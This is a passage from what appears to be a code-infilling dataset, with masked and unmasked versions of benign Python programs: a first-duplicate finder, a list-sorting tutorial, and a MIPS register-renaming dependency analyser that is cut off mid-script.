0.0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, \n 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0,\n 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0, \n 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0.0, 0.0, \n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, \n 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0.0, 0.0, 0, 0, 0.0, \n 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0.0, 0.0, 0, 0.0,\n 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0, 0.0, 0, 0.0, 0.0, 0.0, 0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0, 0, \n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0,\n 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, 0.0, 0.0,\n 0.0, 0.0, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\n 0.0, 0.0, 0.0, 0.0, 0.0]\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
}
|
[
0,
1
] |
def firstDuplicate(array):
"""
Time O(n) | Space O(n)
"""
dic = {}
for num in array:
if num in dic:
return num
else:
dic[num] = True
return -1
print(firstDuplicate([2, 1, 3, 5, 3]))
|
normal
|
{
"blob_id": "47259844f76f12060f0cf52f1086c05b9f300175",
"index": 8581,
"step-1": "<mask token>\n",
"step-2": "def firstDuplicate(array):\n \"\"\"\n Time O(n) | Space O(n)\n \"\"\"\n dic = {}\n for num in array:\n if num in dic:\n return num\n else:\n dic[num] = True\n return -1\n\n\n<mask token>\n",
"step-3": "def firstDuplicate(array):\n \"\"\"\n Time O(n) | Space O(n)\n \"\"\"\n dic = {}\n for num in array:\n if num in dic:\n return num\n else:\n dic[num] = True\n return -1\n\n\nprint(firstDuplicate([2, 1, 3, 5, 3]))\n",
"step-4": null,
"step-5": null,
"step-ids": [
0,
1,
2
]
}
|
[
0,
1,
2
] |
# The sort() method sorts the list ascending by default.
#syntax
# list.sort(reverse=True|False, key=myFunc)
# Parameter Description
# reverse Optional. reverse=True will sort the list descending. Default is reverse=False
# key Optional. A function to specify the sorting criteria(s)
cars = ['Ford', 'BMW','ea','Volvo']
cars.sort()
print(cars)
print()
cars.sort(reverse = True)
print(cars)
print()
# Sort the list by the length of the values:
def length(data):
return len(data)
cars.sort(key= length)
print(cars)
print()
cars.sort(key= lambda x : x[1])
print(cars)
#each item in the iterable is passed into the function individually
# Sort a list of dictionaries based on the "year" value of the dictionaries:
cars = [
{'car': 'Ford', 'year': 2005},
{'car': 'Mitsubishi', 'year': 2000},
{'car': 'BMW', 'year': 2019},
{'car': 'VW', 'year': 2011}
]
def year(data):
return data['year']
cars.sort(key=year)
print(cars)
print()
# Sort the list by the length of the values and reversed:
cars = ['Ford', 'Mitsubishi', 'BMW', 'VW']
def length_of_cars(car):
return len(car)
cars.sort(reverse= True, key= length_of_cars)
print(cars)
|
normal
|
{
"blob_id": "5ab8d9eab30d72557f1a85b5b82c0df456e3843d",
"index": 1740,
"step-1": "<mask token>\n\n\ndef length_of_cars(car):\n return len(car)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef length(data):\n return len(data)\n\n\n<mask token>\n\n\ndef year(data):\n return data['year']\n\n\n<mask token>\n\n\ndef length_of_cars(car):\n return len(car)\n\n\n<mask token>\n",
"step-3": "<mask token>\ncars.sort()\nprint(cars)\nprint()\ncars.sort(reverse=True)\nprint(cars)\nprint()\n\n\ndef length(data):\n return len(data)\n\n\ncars.sort(key=length)\nprint(cars)\nprint()\ncars.sort(key=lambda x: x[1])\nprint(cars)\n<mask token>\n\n\ndef year(data):\n return data['year']\n\n\ncars.sort(key=year)\nprint(cars)\nprint()\n<mask token>\n\n\ndef length_of_cars(car):\n return len(car)\n\n\ncars.sort(reverse=True, key=length_of_cars)\nprint(cars)\n",
"step-4": "cars = ['Ford', 'BMW', 'ea', 'Volvo']\ncars.sort()\nprint(cars)\nprint()\ncars.sort(reverse=True)\nprint(cars)\nprint()\n\n\ndef length(data):\n return len(data)\n\n\ncars.sort(key=length)\nprint(cars)\nprint()\ncars.sort(key=lambda x: x[1])\nprint(cars)\ncars = [{'car': 'Ford', 'year': 2005}, {'car': 'Mitsubishi', 'year': 2000},\n {'car': 'BMW', 'year': 2019}, {'car': 'VW', 'year': 2011}]\n\n\ndef year(data):\n return data['year']\n\n\ncars.sort(key=year)\nprint(cars)\nprint()\ncars = ['Ford', 'Mitsubishi', 'BMW', 'VW']\n\n\ndef length_of_cars(car):\n return len(car)\n\n\ncars.sort(reverse=True, key=length_of_cars)\nprint(cars)\n",
"step-5": "# The sort() method sorts the list ascending by default.\n\n\n#syntax\n# list.sort(reverse=True|False, key=myFunc)\n\n# Parameter\t Description\n# reverse\t Optional. reverse=True will sort the list descending. Default is reverse=False\n# key\t Optional. A function to specify the sorting criteria(s)\n\ncars = ['Ford', 'BMW','ea','Volvo']\ncars.sort()\nprint(cars)\nprint()\ncars.sort(reverse = True)\nprint(cars)\nprint()\n\n# Sort the list by the length of the values:\n\ndef length(data):\n return len(data)\n\ncars.sort(key= length)\nprint(cars)\n\nprint()\n\ncars.sort(key= lambda x : x[1])\nprint(cars)\n\n#each item in the iterable is passed into the function individually \n\n# Sort a list of dictionaries based on the \"year\" value of the dictionaries:\n\ncars = [\n {'car': 'Ford', 'year': 2005},\n {'car': 'Mitsubishi', 'year': 2000},\n {'car': 'BMW', 'year': 2019},\n {'car': 'VW', 'year': 2011}\n]\n\ndef year(data):\n return data['year']\n\ncars.sort(key=year)\nprint(cars)\nprint()\n\n# Sort the list by the length of the values and reversed:\n\ncars = ['Ford', 'Mitsubishi', 'BMW', 'VW']\n\ndef length_of_cars(car):\n return len(car)\n\ncars.sort(reverse= True, key= length_of_cars)\nprint(cars)\n",
"step-ids": [
1,
3,
4,
5,
6
]
}
|
[
1,
3,
4,
5,
6
] |
from terminaltables import AsciiTable
import copy
table_data = [
['WAR', 'WAW'],
['S1 -> S2: R1', 'row1 column2'],
['row2 column1', 'row2 column2'],
['row3 column1', 'row3 column2']
]
table = AsciiTable(table_data)
def getDependenceStr(ins1, ins2, reg):
return f"{ins1} -> {ins2}: {reg}"
def getInstructionStr(ins, reg1, reg2, reg3):
return f"{ins} {reg1} {reg2} {reg3}"
def getInstructionArr(ins):
return ins.split(' ')
def validateInput(str):
if str.strip() == '':
return True
return len(str.split()) == 4
def getInstructionFromUser(insNum):
ins = input(f"S{insNum}: ")
while not validateInput(ins):
print("The value instruction you entered is invalid. Please try again")
print("Remember the instruction must be in the format:"
"ins Reg1 Reg2 Reg3 ")
ins = input(f"S{insNum}: ")
return ins
def findDependencies(instructions):
dependencies = {'waw': findWAWs(instructions),
'war': findWARs(instructions),
'trueDeps': findTrueDependencies(instructions)}
return dependencies
def findWAWs(instructions):
waws = {}
insDict = {}
i = 1
for ins in instructions:
insDict[f'S{i}'] = ins
i += 1
workingIns = copy.deepcopy(insDict)
for (key, value) in insDict.items():
insParts = value.split()
del workingIns[key]
for (key2, otherIns) in workingIns.items():
if insParts[1] == otherIns.split()[1]:
waws[f'{key} -> {key2}'] = insParts[1]
break # Find only the first occurance of a waw
return waws
def findWARs(ins):
wars = {}
insDict = {}
i = 1
for ins in instructions:
insDict[f'S{i}'] = ins
i += 1
workingIns = copy.deepcopy(insDict)
for (key, value) in insDict.items():
insParts = value.split()
del workingIns[key]
for (key2, otherIns) in workingIns.items():
if insParts[2] == otherIns.split()[1]:
wars[f'{key} -> {key2}'] = insParts[2]
if insParts[3] == otherIns.split()[1]:
wars[f'{key} -> {key2}'] = insParts[3]
return wars
def findTrueDependencies(ins):
trueDeps = {}
for i in range(len(ins)-1, -1, -1):
ins1 = ins[i].split()
for k in range(2, len(ins1), 1):
checkReg = ins1[k]
for s in range(i-1, -1, -1):
ins2 = ins[s].split()
if checkReg == ins2[1]:
trueDeps[f'S{s+1} -> S{i+1}'] = checkReg
break
return trueDeps
def resolveDependencies(instructions, dependencies):
waws = dependencies['waw']
wars = dependencies['war']
trueDeps = dependencies['trueDeps']
insDict = {}
i = 1
for ins in instructions:
insDict[f'S{i}'] = ins
i += 1
tNum = 0
# Resolve WAWs
for (dependence, reg) in waws.items():
depParts = dependence.split()
insParts = insDict[depParts[0]].split()
try:
# Check true dependence
trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)
if trueDepsExist:
trueDepParts = trueDep.split()
ins1 = insDict[trueDepParts[0]].split()
ins2 = insDict[trueDepParts[2]].split()
ins1ChangeIndex = ins1.index(reg)
ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]
ins1[ins1ChangeIndex] = f'T{tNum}'
for index in ins2ChangeIndex:
if index != 1:
ins2[index] = f'T{tNum}'
insDict[trueDepParts[0]] = ' '.join(ins1)
insDict[trueDepParts[2]] = ' '.join(ins2)
else:
changeIndex = insParts.index(reg)
insParts[changeIndex] = f'T{tNum}'
insDict[depParts[0]] = ' '.join(insParts)
tNum += 1
except ValueError:
pass
# Resolve WARs
for (dependence, reg) in wars.items():
depParts = dependence.split()
insParts = insDict[depParts[0]].split()
try:
changeIndex = insParts.index(reg)
insParts[changeIndex] = f'T{tNum}'
insDict[depParts[0]] = ' '.join(insParts)
tNum += 1
except ValueError:
pass
return insDict
def checkTrueDep(falseDep, trueDeps, reg):
# for waws
depArr = falseDep.split()
for (trueDep, reg2) in trueDeps.items():
trueDepArr = trueDep.split()
if depArr[0] == trueDepArr[0] and reg == reg2:
return (True, trueDep)
return (None, None)
def parseDepDictToTableData(dependenciesDict):
tableData = [
['WAW', 'WAR', 'True']
]
waws = dependenciesDict['waw']
wars = dependenciesDict['war']
trueDeps = dependenciesDict['trueDeps']
wawKeys = list(waws.keys())
warKeys = list(wars.keys())
trueDepKeys = list(trueDeps.keys())
maxLength = max([len(waws), len(wars), len(trueDeps)])
for i in range(0, maxLength):
data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}'
if i < len(wawKeys) else '', # Add WAW Dependencies
f'{warKeys[i]} -> {wars[warKeys[i]]}'
if i < len(warKeys) else '', # Add WAR Dependencies
f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}'
if i < len(trueDepKeys) else ''] # Add True Dependencies
tableData.append(data)
return tableData
if __name__ == '__main__':
numIns = 0
maxNumIns = 5
stop = False
instructions = []
print("Enter up to 5 MIPs instructions below. When you're done simply"
"press enter without typing in any input")
print("Instructions must be in the format: ins Reg1 Reg2 Reg3")
print("i.e. add R1 R2 R3")
while numIns < maxNumIns and not stop:
ins = getInstructionFromUser(numIns+1)
if ins != '':
instructions.append(ins)
numIns += 1
else:
stop = True
# Genarate the table data need to show instructions given
table_data = [
['Given Instructions'],
]
i = 1
for ins in instructions:
table_data.append([f'S{i} - ' + ins])
i += 1
table = AsciiTable(table_data)
print("Here are the instructions provided:")
print('\n' + table.table + '\n')
input("Press Enter find any existing false dependencies\n")
dependenciesDict = findDependencies(instructions)
table = AsciiTable(parseDepDictToTableData(dependenciesDict))
print('\n' + table.table + '\n')
input("\nPress Enter to begin renaming registers")
resolvedInstructions = resolveDependencies(instructions, dependenciesDict)
resolvedInstructionsArr = []
for (key, value) in resolvedInstructions.items():
resolvedInstructionsArr.append(f'{key} - {value}')
resolvedTableData = [
['Resolved Instructions']
]
for ins in resolvedInstructionsArr:
resolvedTableData.append([ins])
table = AsciiTable(resolvedTableData)
print(table.table + '\n')
input('Press Enter to continue')
print('DONE!\n')
|
normal
|
{
"blob_id": "e045dc348fb2e9de51dbeada1d1826211cf89eae",
"index": 3114,
"step-1": "<mask token>\n\n\ndef getDependenceStr(ins1, ins2, reg):\n return f'{ins1} -> {ins2}: {reg}'\n\n\ndef getInstructionStr(ins, reg1, reg2, reg3):\n return f'{ins} {reg1} {reg2} {reg3}'\n\n\n<mask token>\n\n\ndef validateInput(str):\n if str.strip() == '':\n return True\n return len(str.split()) == 4\n\n\ndef getInstructionFromUser(insNum):\n ins = input(f'S{insNum}: ')\n while not validateInput(ins):\n print('The value instruction you entered is invalid. Please try again')\n print(\n 'Remember the instruction must be in the format:ins Reg1 Reg2 Reg3 '\n )\n ins = input(f'S{insNum}: ')\n return ins\n\n\n<mask token>\n\n\ndef resolveDependencies(instructions, dependencies):\n waws = dependencies['waw']\n wars = dependencies['war']\n trueDeps = dependencies['trueDeps']\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n tNum = 0\n for dependence, reg in waws.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)\n if trueDepsExist:\n trueDepParts = trueDep.split()\n ins1 = insDict[trueDepParts[0]].split()\n ins2 = insDict[trueDepParts[2]].split()\n ins1ChangeIndex = ins1.index(reg)\n ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]\n ins1[ins1ChangeIndex] = f'T{tNum}'\n for index in ins2ChangeIndex:\n if index != 1:\n ins2[index] = f'T{tNum}'\n insDict[trueDepParts[0]] = ' '.join(ins1)\n insDict[trueDepParts[2]] = ' '.join(ins2)\n else:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n for dependence, reg in wars.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n return insDict\n\n\ndef checkTrueDep(falseDep, trueDeps, reg):\n depArr = falseDep.split()\n for trueDep, reg2 in trueDeps.items():\n trueDepArr = trueDep.split()\n if depArr[0] == trueDepArr[0] and reg == reg2:\n return True, trueDep\n return None, None\n\n\ndef parseDepDictToTableData(dependenciesDict):\n tableData = [['WAW', 'WAR', 'True']]\n waws = dependenciesDict['waw']\n wars = dependenciesDict['war']\n trueDeps = dependenciesDict['trueDeps']\n wawKeys = list(waws.keys())\n warKeys = list(wars.keys())\n trueDepKeys = list(trueDeps.keys())\n maxLength = max([len(waws), len(wars), len(trueDeps)])\n for i in range(0, maxLength):\n data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}' if i < len(wawKeys) else\n '', f'{warKeys[i]} -> {wars[warKeys[i]]}' if i < len(warKeys) else\n '', f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}' if i <\n len(trueDepKeys) else '']\n tableData.append(data)\n return tableData\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef getDependenceStr(ins1, ins2, reg):\n return f'{ins1} -> {ins2}: {reg}'\n\n\ndef getInstructionStr(ins, reg1, reg2, reg3):\n return f'{ins} {reg1} {reg2} {reg3}'\n\n\ndef getInstructionArr(ins):\n return ins.split(' ')\n\n\ndef validateInput(str):\n if str.strip() == '':\n return True\n return len(str.split()) == 4\n\n\ndef getInstructionFromUser(insNum):\n ins = input(f'S{insNum}: ')\n while not validateInput(ins):\n print('The value instruction you entered is invalid. Please try again')\n print(\n 'Remember the instruction must be in the format:ins Reg1 Reg2 Reg3 '\n )\n ins = input(f'S{insNum}: ')\n return ins\n\n\n<mask token>\n\n\ndef findWAWs(instructions):\n waws = {}\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n workingIns = copy.deepcopy(insDict)\n for key, value in insDict.items():\n insParts = value.split()\n del workingIns[key]\n for key2, otherIns in workingIns.items():\n if insParts[1] == otherIns.split()[1]:\n waws[f'{key} -> {key2}'] = insParts[1]\n break\n return waws\n\n\n<mask token>\n\n\ndef findTrueDependencies(ins):\n trueDeps = {}\n for i in range(len(ins) - 1, -1, -1):\n ins1 = ins[i].split()\n for k in range(2, len(ins1), 1):\n checkReg = ins1[k]\n for s in range(i - 1, -1, -1):\n ins2 = ins[s].split()\n if checkReg == ins2[1]:\n trueDeps[f'S{s + 1} -> S{i + 1}'] = checkReg\n break\n return trueDeps\n\n\ndef resolveDependencies(instructions, dependencies):\n waws = dependencies['waw']\n wars = dependencies['war']\n trueDeps = dependencies['trueDeps']\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n tNum = 0\n for dependence, reg in waws.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)\n if trueDepsExist:\n trueDepParts = trueDep.split()\n ins1 = insDict[trueDepParts[0]].split()\n ins2 = insDict[trueDepParts[2]].split()\n ins1ChangeIndex = ins1.index(reg)\n ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]\n ins1[ins1ChangeIndex] = f'T{tNum}'\n for index in ins2ChangeIndex:\n if index != 1:\n ins2[index] = f'T{tNum}'\n insDict[trueDepParts[0]] = ' '.join(ins1)\n insDict[trueDepParts[2]] = ' '.join(ins2)\n else:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n for dependence, reg in wars.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n return insDict\n\n\ndef checkTrueDep(falseDep, trueDeps, reg):\n depArr = falseDep.split()\n for trueDep, reg2 in trueDeps.items():\n trueDepArr = trueDep.split()\n if depArr[0] == trueDepArr[0] and reg == reg2:\n return True, trueDep\n return None, None\n\n\ndef parseDepDictToTableData(dependenciesDict):\n tableData = [['WAW', 'WAR', 'True']]\n waws = dependenciesDict['waw']\n wars = dependenciesDict['war']\n trueDeps = dependenciesDict['trueDeps']\n wawKeys = list(waws.keys())\n warKeys = list(wars.keys())\n trueDepKeys = list(trueDeps.keys())\n maxLength = max([len(waws), len(wars), len(trueDeps)])\n for i in range(0, maxLength):\n data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}' if i < len(wawKeys) else\n '', f'{warKeys[i]} -> {wars[warKeys[i]]}' if i < len(warKeys) else\n '', f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}' if i <\n len(trueDepKeys) else '']\n tableData.append(data)\n return tableData\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef getDependenceStr(ins1, ins2, reg):\n return f'{ins1} -> {ins2}: {reg}'\n\n\ndef getInstructionStr(ins, reg1, reg2, reg3):\n return f'{ins} {reg1} {reg2} {reg3}'\n\n\ndef getInstructionArr(ins):\n return ins.split(' ')\n\n\ndef validateInput(str):\n if str.strip() == '':\n return True\n return len(str.split()) == 4\n\n\ndef getInstructionFromUser(insNum):\n ins = input(f'S{insNum}: ')\n while not validateInput(ins):\n print('The value instruction you entered is invalid. Please try again')\n print(\n 'Remember the instruction must be in the format:ins Reg1 Reg2 Reg3 '\n )\n ins = input(f'S{insNum}: ')\n return ins\n\n\ndef findDependencies(instructions):\n dependencies = {'waw': findWAWs(instructions), 'war': findWARs(\n instructions), 'trueDeps': findTrueDependencies(instructions)}\n return dependencies\n\n\ndef findWAWs(instructions):\n waws = {}\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n workingIns = copy.deepcopy(insDict)\n for key, value in insDict.items():\n insParts = value.split()\n del workingIns[key]\n for key2, otherIns in workingIns.items():\n if insParts[1] == otherIns.split()[1]:\n waws[f'{key} -> {key2}'] = insParts[1]\n break\n return waws\n\n\n<mask token>\n\n\ndef findTrueDependencies(ins):\n trueDeps = {}\n for i in range(len(ins) - 1, -1, -1):\n ins1 = ins[i].split()\n for k in range(2, len(ins1), 1):\n checkReg = ins1[k]\n for s in range(i - 1, -1, -1):\n ins2 = ins[s].split()\n if checkReg == ins2[1]:\n trueDeps[f'S{s + 1} -> S{i + 1}'] = checkReg\n break\n return trueDeps\n\n\ndef resolveDependencies(instructions, dependencies):\n waws = dependencies['waw']\n wars = dependencies['war']\n trueDeps = dependencies['trueDeps']\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n tNum = 0\n for dependence, reg in waws.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)\n if trueDepsExist:\n trueDepParts = trueDep.split()\n ins1 = insDict[trueDepParts[0]].split()\n ins2 = insDict[trueDepParts[2]].split()\n ins1ChangeIndex = ins1.index(reg)\n ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]\n ins1[ins1ChangeIndex] = f'T{tNum}'\n for index in ins2ChangeIndex:\n if index != 1:\n ins2[index] = f'T{tNum}'\n insDict[trueDepParts[0]] = ' '.join(ins1)\n insDict[trueDepParts[2]] = ' '.join(ins2)\n else:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n for dependence, reg in wars.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n return insDict\n\n\ndef checkTrueDep(falseDep, trueDeps, reg):\n depArr = falseDep.split()\n for trueDep, reg2 in trueDeps.items():\n trueDepArr = trueDep.split()\n if depArr[0] == trueDepArr[0] and reg == reg2:\n return True, trueDep\n return None, None\n\n\ndef parseDepDictToTableData(dependenciesDict):\n tableData = [['WAW', 'WAR', 'True']]\n waws = dependenciesDict['waw']\n wars = dependenciesDict['war']\n trueDeps = dependenciesDict['trueDeps']\n wawKeys = list(waws.keys())\n warKeys = list(wars.keys())\n trueDepKeys = list(trueDeps.keys())\n maxLength = max([len(waws), len(wars), len(trueDeps)])\n for i in range(0, maxLength):\n data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}' if i < len(wawKeys) else\n '', f'{warKeys[i]} -> {wars[warKeys[i]]}' if i < len(warKeys) else\n '', f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}' if i <\n len(trueDepKeys) else '']\n tableData.append(data)\n return tableData\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\ndef getDependenceStr(ins1, ins2, reg):\n return f'{ins1} -> {ins2}: {reg}'\n\n\ndef getInstructionStr(ins, reg1, reg2, reg3):\n return f'{ins} {reg1} {reg2} {reg3}'\n\n\ndef getInstructionArr(ins):\n return ins.split(' ')\n\n\ndef validateInput(str):\n if str.strip() == '':\n return True\n return len(str.split()) == 4\n\n\ndef getInstructionFromUser(insNum):\n ins = input(f'S{insNum}: ')\n while not validateInput(ins):\n print('The value instruction you entered is invalid. Please try again')\n print(\n 'Remember the instruction must be in the format:ins Reg1 Reg2 Reg3 '\n )\n ins = input(f'S{insNum}: ')\n return ins\n\n\ndef findDependencies(instructions):\n dependencies = {'waw': findWAWs(instructions), 'war': findWARs(\n instructions), 'trueDeps': findTrueDependencies(instructions)}\n return dependencies\n\n\ndef findWAWs(instructions):\n waws = {}\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n workingIns = copy.deepcopy(insDict)\n for key, value in insDict.items():\n insParts = value.split()\n del workingIns[key]\n for key2, otherIns in workingIns.items():\n if insParts[1] == otherIns.split()[1]:\n waws[f'{key} -> {key2}'] = insParts[1]\n break\n return waws\n\n\ndef findWARs(ins):\n wars = {}\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n workingIns = copy.deepcopy(insDict)\n for key, value in insDict.items():\n insParts = value.split()\n del workingIns[key]\n for key2, otherIns in workingIns.items():\n if insParts[2] == otherIns.split()[1]:\n wars[f'{key} -> {key2}'] = insParts[2]\n if insParts[3] == otherIns.split()[1]:\n wars[f'{key} -> {key2}'] = insParts[3]\n return wars\n\n\ndef findTrueDependencies(ins):\n trueDeps = {}\n for i in range(len(ins) - 1, -1, -1):\n ins1 = ins[i].split()\n for k in range(2, len(ins1), 1):\n checkReg = ins1[k]\n for s in range(i - 1, -1, -1):\n ins2 = ins[s].split()\n if checkReg == ins2[1]:\n trueDeps[f'S{s + 1} -> S{i + 1}'] = checkReg\n break\n return trueDeps\n\n\ndef resolveDependencies(instructions, dependencies):\n waws = dependencies['waw']\n wars = dependencies['war']\n trueDeps = dependencies['trueDeps']\n insDict = {}\n i = 1\n for ins in instructions:\n insDict[f'S{i}'] = ins\n i += 1\n tNum = 0\n for dependence, reg in waws.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n trueDepsExist, trueDep = checkTrueDep(dependence, trueDeps, reg)\n if trueDepsExist:\n trueDepParts = trueDep.split()\n ins1 = insDict[trueDepParts[0]].split()\n ins2 = insDict[trueDepParts[2]].split()\n ins1ChangeIndex = ins1.index(reg)\n ins2ChangeIndex = [i for i, x in enumerate(ins2) if x == reg]\n ins1[ins1ChangeIndex] = f'T{tNum}'\n for index in ins2ChangeIndex:\n if index != 1:\n ins2[index] = f'T{tNum}'\n insDict[trueDepParts[0]] = ' '.join(ins1)\n insDict[trueDepParts[2]] = ' '.join(ins2)\n else:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n for dependence, reg in wars.items():\n depParts = dependence.split()\n insParts = insDict[depParts[0]].split()\n try:\n changeIndex = insParts.index(reg)\n insParts[changeIndex] = f'T{tNum}'\n insDict[depParts[0]] = ' '.join(insParts)\n tNum += 1\n except ValueError:\n pass\n return insDict\n\n\ndef checkTrueDep(falseDep, trueDeps, reg):\n depArr = falseDep.split()\n for trueDep, reg2 in trueDeps.items():\n trueDepArr = trueDep.split()\n if depArr[0] == trueDepArr[0] and reg == reg2:\n return True, trueDep\n return None, None\n\n\ndef parseDepDictToTableData(dependenciesDict):\n tableData = [['WAW', 'WAR', 'True']]\n waws = dependenciesDict['waw']\n wars = dependenciesDict['war']\n trueDeps = dependenciesDict['trueDeps']\n wawKeys = list(waws.keys())\n warKeys = list(wars.keys())\n trueDepKeys = list(trueDeps.keys())\n maxLength = max([len(waws), len(wars), len(trueDeps)])\n for i in range(0, maxLength):\n data = [f'{wawKeys[i]} -> {waws[wawKeys[i]]}' if i < len(wawKeys) else\n '', f'{warKeys[i]} -> {wars[warKeys[i]]}' if i < len(warKeys) else\n '', f'{trueDepKeys[i]} -> {trueDeps[trueDepKeys[i]]}' if i <\n len(trueDepKeys) else '']\n tableData.append(data)\n return tableData\n\n\nif __name__ == '__main__':\n numIns = 0\n maxNumIns = 5\n stop = False\n instructions = []\n print(\n \"Enter up to 5 MIPs instructions below. When you're done simplypress enter without typing in any input\"\n )\n print('Instructions must be in the format: ins Reg1 Reg2 Reg3')\n print('i.e. add R1 R2 R3')\n while numIns < maxNumIns and not stop:\n ins = getInstructionFromUser(numIns + 1)\n if ins != '':\n instructions.append(ins)\n numIns += 1\n 